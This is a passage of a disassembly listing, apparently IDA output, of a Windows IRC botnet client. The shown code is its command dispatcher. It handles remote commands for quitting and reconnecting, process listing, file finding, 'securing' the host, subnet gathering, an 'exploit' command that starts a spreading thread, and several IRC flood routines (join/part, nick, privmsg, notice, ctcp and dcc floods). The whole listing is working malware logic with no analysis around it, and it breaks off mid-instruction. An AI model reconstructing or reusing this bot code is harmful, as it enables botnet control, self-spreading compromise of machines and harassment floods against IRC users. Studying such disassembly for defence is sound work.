call sub_409D26 add esp, 0Ch jmp short loc_40471B ; --------------------------------------------------------------------------- loc_40470C: ; CODE XREF: sub_401CC7+2A1Cj push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] ; int call sub_409D26 pop ecx pop ecx loc_40471B: ; CODE XREF: sub_401CC7+2A21j ; sub_401CC7+2A30j ... push 0FFFFFFFEh jmp loc_402168 ; --------------------------------------------------------------------------- loc_404722: ; CODE XREF: sub_401CC7+15C8j ; sub_401CC7+15DDj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] ; int call sub_409D26 push offset dword_441924 call sub_415C77 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_402169 ; --------------------------------------------------------------------------- loc_404744: ; CODE XREF: sub_401CC7+159Ej ; sub_401CC7+15B3j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] ; int call sub_409D26 push offset dword_4418E0 call sub_415C77 add esp, 0Ch jmp loc_409AB0 ; --------------------------------------------------------------------------- loc_404763: ; CODE XREF: sub_401CC7+1574j ; sub_401CC7+1589j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40BE72 jmp loc_404B36 ; --------------------------------------------------------------------------- loc_404779: ; CODE XREF: sub_401CC7+154Aj ; sub_401CC7+155Fj push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40BE1D jmp loc_404B36 ; --------------------------------------------------------------------------- loc_40478F: ; CODE XREF: sub_401CC7+1520j ; sub_401CC7+1535j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40BDB1 jmp loc_404B36 ; --------------------------------------------------------------------------- loc_4047A5: ; CODE XREF: sub_401CC7+14F6j ; sub_401CC7+150Bj push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40BCE2 jmp loc_404B36 ; --------------------------------------------------------------------------- loc_4047BB: ; CODE XREF: sub_401CC7+1451j ; sub_401CC7+1466j push dword ptr [ebp+esi+Args] push 27h push offset aProcessList ; "Process list" push offset dword_4417E4 jmp short loc_4047E3 ; --------------------------------------------------------------------------- loc_4047D0: ; CODE XREF: sub_401CC7+1427j ; sub_401CC7+143Cj push dword ptr [ebp+esi+Args] ; Str push 24h ; int push offset aFindFile ; "Find file" push offset dword_4417B0 ; int loc_4047E3: ; CODE XREF: sub_401CC7+102Cj ; sub_401CC7+107Fj ... push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; int push [ebp+arg_4] ; int call sub_40BA1C add esp, 20h jmp loc_402166 ; --------------------------------------------------------------------------- loc_4047FF: ; CODE XREF: sub_401CC7+1040j ; sub_401CC7+1055j mov edi, dword ptr [ebp+esi+Args] cmp edi, ebx jz short loc_40481E push edi ; Str call _atoi test eax, eax pop ecx jz short loc_40481E push edi ; Str call _atoi pop ecx jmp short loc_404823 ; --------------------------------------------------------------------------- loc_40481E: ; CODE XREF: sub_401CC7+2B41j ; sub_401CC7+2B4Cj mov eax, dword_440074 loc_404823: ; CODE XREF: sub_401CC7+2B55j mov esi, [ebp+esi+Format] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404848 push esi ; Format loc_404835: ; CODE XREF: sub_401CC7+2B90j lea eax, [ebp+var_5A0] push 10h ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_40485F ; --------------------------------------------------------------------------- loc_404848: ; CODE XREF: sub_401CC7+2B6Bj cmp [ebp+var_8FF], bl jz short loc_404859 lea eax, [ebp+var_C0] push eax jmp short loc_404835 ; --------------------------------------------------------------------------- loc_404859: ; CODE XREF: sub_401CC7+2B87j mov [ebp+var_5A0], bl loc_40485F: ; CODE XREF: sub_401CC7+2B7Fj mov eax, [ebp+var_4] push [ebp+Format] ; Format mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h ; Count mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax ; Dest mov [ebp+var_624], esi call __snprintf add esp, 0Ch push [ebp+var_590] push esi call sub_40AFA9 pop ecx push eax lea eax, [ebp+Dst] push offset asc_4413B4 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 19h ; int push eax ; Source call sub_40B78E add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset sub_411C86 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_404910 loc_4048FA: ; CODE XREF: sub_401CC7+2C47j cmp [ebp+var_57C], ebx jnz loc_402166 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_4048FA ; --------------------------------------------------------------------------- loc_404910: ; CODE XREF: sub_401CC7+2C31j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset dword_4413DC jmp loc_409CCE ; --------------------------------------------------------------------------- loc_404921: ; CODE XREF: sub_401CC7+FEDj ; sub_401CC7+1002j mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_404941 push esi ; Str call _atoi test ax, ax pop ecx jz short loc_404941 push esi ; Str call _atoi pop ecx jmp short loc_404947 ; --------------------------------------------------------------------------- loc_404941: ; CODE XREF: sub_401CC7+2C63j ; sub_401CC7+2C6Fj mov ax, word_440084 loc_404947: ; CODE XREF: sub_401CC7+2C78j push [ebp+Format] ; Format mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h ; Count mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax ; Dest mov [ebp+var_A00], esi mov [ebp+var_970], edi call __snprintf movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AFA9 pop ecx push eax lea eax, [ebp+Dst] push offset asc_441310 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push edi ; int push eax ; int push [ebp+Format] ; Str push esi ; int call sub_409D6C push ebx ; int lea eax, [ebp+Dst] push 6 ; int push eax ; Source call sub_40B78E add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset sub_40EFAC push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_404A16 loc_404A00: ; CODE XREF: sub_401CC7+2D4Dj cmp [ebp+var_968], ebx jnz loc_402166 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_404A00 ; --------------------------------------------------------------------------- loc_404A16: ; CODE XREF: sub_401CC7+2D37j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_44133C jmp loc_409CCE ; --------------------------------------------------------------------------- loc_404A27: ; CODE XREF: sub_401CC7+F99j ; sub_401CC7+FAEj ... push edi ; Str2 push offset aSecure_1 ; "secure" call _strcmp pop ecx test eax, eax pop ecx jz short loc_404A4F push edi ; Str2 push offset aSec_0 ; "sec" call _strcmp pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404A59 loc_404A4F: ; CODE XREF: sub_401CC7+2D6Fj mov [ebp+var_A10], 1 loc_404A59: ; CODE XREF: sub_401CC7+2D86j push [ebp+Format] ; Format lea eax, [ebp+var_A94] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_404AA0 mov eax, offset aUnsecuring ; "Unsecuring" loc_404AA0: ; CODE XREF: sub_401CC7+2DD2j push eax push offset asc_4412A8 ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 22h ; int push eax ; Source call sub_40B78E add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_41AD35 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_404B14 loc_404AFE: ; CODE XREF: sub_401CC7+2E4Bj cmp [ebp+var_A04], ebx jnz loc_408708 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_404AFE ; --------------------------------------------------------------------------- loc_404B14: ; CODE XREF: sub_401CC7+2E35j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset dword_4412C4 jmp loc_4086F9 ; --------------------------------------------------------------------------- loc_404B25: ; CODE XREF: sub_401CC7+F6Fj ; sub_401CC7+F84j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_41B5CA loc_404B36: ; CODE XREF: sub_401CC7+2AADj ; sub_401CC7+2AC3j ... add esp, 0Ch jmp loc_409B47 ; --------------------------------------------------------------------------- loc_404B3E: ; CODE XREF: sub_401CC7+F45j ; sub_401CC7+F5Aj push offset unk_4411A4 jmp loc_40891F ; --------------------------------------------------------------------------- loc_404B48: ; CODE XREF: sub_401CC7+F1Bj ; sub_401CC7+F30j push offset aH1d3 ; "h1d3" push offset dword_441184 jmp loc_407019 ; --------------------------------------------------------------------------- loc_404B57: ; CODE XREF: sub_401CC7+EF1j ; sub_401CC7+F06j mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_404BB1 push esi ; Str call _atoi cmp eax, ebx pop ecx jl short loc_404BA9 cmp eax, 3 jge short loc_404BA9 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_404BA1 lea eax, [esi+1] push eax lea eax, [ebp+Dst] push offset asc_4410E0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch mov [esi], bl jmp loc_4085D7 ; --------------------------------------------------------------------------- loc_404BA1: ; CODE XREF: sub_401CC7+2EB9j push eax push offset unk_441100 jmp short loc_404BEE ; --------------------------------------------------------------------------- loc_404BA9: ; CODE XREF: sub_401CC7+2EA4j ; sub_401CC7+2EA9j push eax push offset unk_44112C jmp short loc_404BEE ; --------------------------------------------------------------------------- loc_404BB1: ; CODE XREF: sub_401CC7+2E99j mov edi, [ebp+arg_18] xor esi, esi loc_404BB6: ; CODE XREF: sub_401CC7+2F0Bj push [ebp+var_90] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_404BD9 inc esi add edi, 80h cmp esi, 3 jl short loc_404BB6 jmp loc_4085D7 ; --------------------------------------------------------------------------- loc_404BD9: ; CODE XREF: sub_401CC7+2EFFj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax push offset asc_441158 ; "-" loc_404BEE: ; CODE XREF: sub_401CC7+2112j ; sub_401CC7+2EE0j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf jmp loc_4085D4 ; --------------------------------------------------------------------------- loc_404BFF: ; CODE XREF: sub_401CC7+EC7j ; sub_401CC7+EDCj push dword ptr [ebp+Args] ; Str2 push offset a332_4 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_40365A call sub_40B957 push ebx call ds:dword_4F636C ; ExitProcess loc_404C25: ; CODE XREF: sub_401CC7+19CBj push offset aGet_2 ; "get" push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_404CBC cmp dword_4E7A18, ebx jz short loc_404C51 push offset byte_4E73F8 push offset unk_4422C8 jmp loc_404CEC ; --------------------------------------------------------------------------- loc_404C51: ; CODE XREF: sub_401CC7+2F79j push 10h pop eax mov [ebp+var_2D0], eax push eax ; Size lea eax, [ebp+var_2E8] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call ds:dword_4F6580 ; getsockname movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+var_E30] push eax push offset unk_44230C jmp short loc_404CEC ; --------------------------------------------------------------------------- loc_404CBC: ; CODE XREF: sub_401CC7+2F6Dj push edi call dword_4E4260 ; inet_addr cmp eax, 0FFFFFFFFh push edi ; Source jnz short loc_404CD0 push offset unk_442344 jmp short loc_404CEC ; --------------------------------------------------------------------------- loc_404CD0: ; CODE XREF: sub_401CC7+3000j push offset byte_4E73F8 ; Dest call _strcpy pop ecx mov dword_4E7A18, 1 pop ecx push edi push offset asc_442378 ; "-" loc_404CEC: ; CODE XREF: sub_401CC7+2F85j ; sub_401CC7+2FF3j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_4036B1 ; --------------------------------------------------------------------------- loc_404D00: ; CODE XREF: sub_401CC7+19B6j push [ebp+arg_8] ; Str2 push offset aExploit ; "exploit" call _strcmp pop ecx test eax, eax pop ecx jnz loc_404E06 mov eax, [ebp+var_4] mov esi, 80h mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax push offset aHelp ; "##help" lea eax, [ebp+var_1474] push esi ; Count push eax ; Dest mov [ebp+var_13EC], 1 call __snprintf add esp, 0Ch lea eax, [ebp+var_14F4] push offset aHelp ; "##help" push esi ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+var_1504] push edi ; Format push 10h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+Dst] push offset asc_4423AC ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 8 ; int push eax ; Source call sub_40B78E add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset sub_40BF39 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_404DF5 loc_404DDF: ; CODE XREF: sub_401CC7+312Cj cmp [ebp+var_13DC], ebx jnz loc_4085D7 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_404DDF ; --------------------------------------------------------------------------- loc_404DF5: ; CODE XREF: sub_401CC7+3116j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_4423DC jmp loc_404BEE ; --------------------------------------------------------------------------- loc_404E06: ; CODE XREF: sub_401CC7+304Aj push [ebp+arg_8] ; Str2 push offset aReconnect_in ; "reconnect.in" call _strcmp pop ecx test eax, eax pop ecx jz loc_409AB7 push [ebp+arg_8] ; Str2 push offset aRin ; "rin" call _strcmp pop ecx test eax, eax pop ecx jz loc_409AB7 push [ebp+arg_8] ; Str2 push offset aReconnect_in_m ; "reconnect.in.ms" call _strcmp pop ecx test eax, eax pop ecx jz loc_409A73 push [ebp+arg_8] ; Str2 push offset aRinms ; "rinms" call _strcmp pop ecx test eax, eax pop ecx jz loc_409A73 push [ebp+arg_8] ; Str2 push offset aFlood ; "flood" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405A0C call ds:dword_4F63B0 ; GetTickCount push eax ; Seed call _srand push edi ; Str2 push offset aLoad ; "load" call _strcmp add esp, 0Ch test eax, eax jnz short loc_404F0C cmp [ebp+esi+var_80], ebx jz short loc_404F0C push [ebp+esi+var_80] ; Str call _atoi pop ecx push eax ; int push [ebp+esi+Str2] ; Str call _atoi pop ecx push eax ; int push [ebp+esi+Format] ; Source call sub_41860A add esp, 0Ch lea eax, [ebp+Dst] push [ebp+esi+Str2] push [ebp+esi+Format] push [ebp+esi+var_80] push offset asc_4424D4 ; "-" push eax ; Dest call _sprintf add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404F0C push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 14h loc_404F0C: ; CODE XREF: sub_401CC7+31CEj ; sub_401CC7+31D4j ... push edi ; Str2 push offset aPm_1 ; "pm" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404F76 mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_404F76 push offset asc_442504 ; " " push offset a__7 ; "_" push eax ; Src call sub_418C3F push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strcpy add esp, 14h lea eax, [ebp+Dest] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgSS ; "privmsg %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h loc_404F76: ; CODE XREF: sub_401CC7+3254j ; sub_401CC7+325Fj push edi ; Str2 push offset aCt ; "ct" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404FE0 mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_404FE0 push offset asc_442520 ; " " push offset a_ ; "_" push eax ; Src call sub_418C3F push eax ; Source lea eax, [ebp+var_4BF0] push eax ; Dest call _strcpy add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgS ; "privmsg %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h loc_404FE0: ; CODE XREF: sub_401CC7+32BEj ; sub_401CC7+32C9j push edi ; Str2 push offset aNt_1 ; "nt" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40504A mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_40504A push offset asc_442540 ; " " push offset a__8 ; "_" push eax ; Src call sub_418C3F push eax ; Source lea eax, [ebp+var_46EC] push eax ; Dest call _strcpy add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_1 ; "notice %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h loc_40504A: ; CODE XREF: sub_401CC7+3328j ; sub_401CC7+3333j push edi ; Str2 push offset aMode ; "mode" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4050B4 mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_4050B4 push offset asc_442560 ; " " push offset a__0 ; "_" push eax ; Src call sub_418C3F push eax ; Source lea eax, [ebp+var_4DF0] push eax ; Dest call _strcpy add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aModeSS ; "mode %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h loc_4050B4: ; CODE XREF: sub_401CC7+3392j ; sub_401CC7+339Dj push edi ; Str2 push offset aJoin ; "join" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4050F1 mov eax, [ebp+esi+Format] cmp eax, ebx jz short loc_4050F1 push eax lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h loc_4050F1: ; CODE XREF: sub_401CC7+33FCj ; sub_401CC7+3407j push edi ; Str2 push offset aPart_1 ; "part" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40512E mov eax, [ebp+esi+Format] cmp eax, ebx jz short loc_40512E push eax lea eax, [ebp+Dst] push offset aPartS ; "part %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h loc_40512E: ; CODE XREF: sub_401CC7+3439j ; sub_401CC7+3444j push edi ; Str2 push offset aPartflood ; "partflood" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405170 mov eax, [ebp+esi+Format] cmp eax, ebx jz short loc_405170 push offset dword_43D41C push eax lea eax, [ebp+Dst] push offset aPartSS ; "part %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h loc_405170: ; CODE XREF: sub_401CC7+3476j ; sub_401CC7+3481j push edi ; Str2 push offset aPnick ; "pnick" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4051E7 cmp [ebp+esi+Format], ebx jz short loc_4051E7 call ds:dword_4F63B0 ; GetTickCount push eax ; Seed call _srand pop ecx call _rand cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+Format] push offset aSI ; "%s%i" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h loc_4051E7: ; CODE XREF: sub_401CC7+34B8j ; sub_401CC7+34C1j push edi ; Str2 push offset aJoinPart ; "join/part" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40533E cmp [ebp+esi+Format], ebx jz loc_40533E push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS_0 ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h lea eax, [ebp+Dst] push offset dword_43D41C push [ebp+esi+Format] push offset aPartSS_0 ; "part %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h call _rand cdq mov ecx, 3E8h idiv ecx push edx call ds:dword_4F6380 ; Sleep push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS_1 ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h call _rand cdq mov ecx, 384h idiv ecx push edx call ds:dword_4F6380 ; Sleep push offset dword_43D41C lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPartSS_1 ; "part %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aJoinS_2 ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h call _rand cdq mov ecx, 0C8h idiv ecx push edx call ds:dword_4F6380 ; Sleep push offset dword_43D41C lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPartSS_2 ; "part %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h loc_40533E: ; CODE XREF: sub_401CC7+352Fj ; sub_401CC7+353Cj push edi ; Str2 push offset aDcc ; "dcc" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4053D6 cmp [ebp+esi+Format], ebx jz short loc_4053D6 call ds:dword_4F63B0 ; GetTickCount push eax ; Seed call _srand pop ecx call _rand cdq mov ecx, 0F423Fh idiv ecx push edx call _rand cdq mov ecx, 0F423Fh idiv ecx push edx call _rand cdq mov ecx, 0F423Fh idiv ecx push edx call _rand cdq mov ecx, 0F423Fh idiv ecx push edx call _rand cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+Dst] push edx push [ebp+esi+Format] push offset aPrivmsgS_0 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 24h loc_4053D6: ; CODE XREF: sub_401CC7+3686j ; sub_401CC7+3693j push edi ; Str2 push offset aNick_0 ; "nick" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4054DE mov eax, [ebp+esi+Format] cmp eax, ebx jz loc_4054DE push eax lea eax, [ebp+Dst] push offset aJoinS_3 ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 lea eax, [ebp+var_4BC] push eax ; Dest call sub_418688 add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+Dst] push offset aNickS_1 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call ds:dword_4F6380 ; Sleep lea eax, [ebp+var_4BC] push eax ; Dest call sub_418688 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+Dst] push offset aNickS_2 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h call _rand cdq mov ecx, 1F4h idiv ecx push edx call ds:dword_4F6380 ; Sleep lea eax, [ebp+var_4BC] push eax ; Dest call sub_418688 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+Dst] push offset aNickS_3 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h loc_4054DE: ; CODE XREF: sub_401CC7+371Ej ; sub_401CC7+372Dj push edi ; Str2 push offset aChgnick ; "chgnick" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405523 lea eax, [ebp+var_1808] push eax ; Dest call sub_418688 pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+Dst] push offset aNickS_4 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h loc_405523: ; CODE XREF: sub_401CC7+3826j push edi ; Str2 push offset aMsg ; "msg" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405618 cmp [ebp+esi+Format], ebx jz loc_405618 push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS_4 ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h lea eax, [ebp+Dst] push offset dword_43D420 push [ebp+esi+Format] push offset aPrivmsgSS_0 ; "privmsg %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h call _rand cdq mov ecx, 3E8h idiv ecx push edx call ds:dword_4F6380 ; Sleep push offset dword_43D420 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgSS_1 ; "privmsg %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h call _rand cdq mov ecx, 384h idiv ecx push edx call ds:dword_4F6380 ; Sleep push offset dword_43D420 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgSS_2 ; "privmsg %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h loc_405618: ; CODE XREF: sub_401CC7+386Bj ; sub_401CC7+3878j push edi ; Str2 push offset aNotice_2 ; "notice" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40570D cmp [ebp+esi+Format], ebx jz loc_40570D push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS_5 ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h lea eax, [ebp+Dst] push offset dword_43D420 push [ebp+esi+Format] push offset aNoticeSS_2 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h call _rand cdq mov ecx, 3E8h idiv ecx push edx call ds:dword_4F6380 ; Sleep push offset dword_43D420 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_3 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h call _rand cdq mov ecx, 384h idiv ecx push edx call ds:dword_4F6380 ; Sleep push offset dword_43D420 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_4 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 14h loc_40570D: ; CODE XREF: sub_401CC7+3960j ; sub_401CC7+396Dj push edi ; Str2 push offset aCtcp ; "ctcp" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40582E cmp [ebp+esi+Format], ebx jz loc_40582E push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS_6 ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgS_1 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call ds:dword_4F6380 ; Sleep push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aPrivmsgS_2 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call ds:dword_4F6380 ; Sleep push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aPrivmsgS_3 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call ds:dword_4F6380 ; Sleep push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aPrivmsgS_4 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h loc_40582E: ; CODE XREF: sub_401CC7+3A55j ; sub_401CC7+3A62j push edi ; Str2 push offset aMix ; "mix" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40595E cmp [ebp+esi+Format], ebx jz loc_40595E push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS_7 ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_418331 add esp, 10h lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgS_5 ; 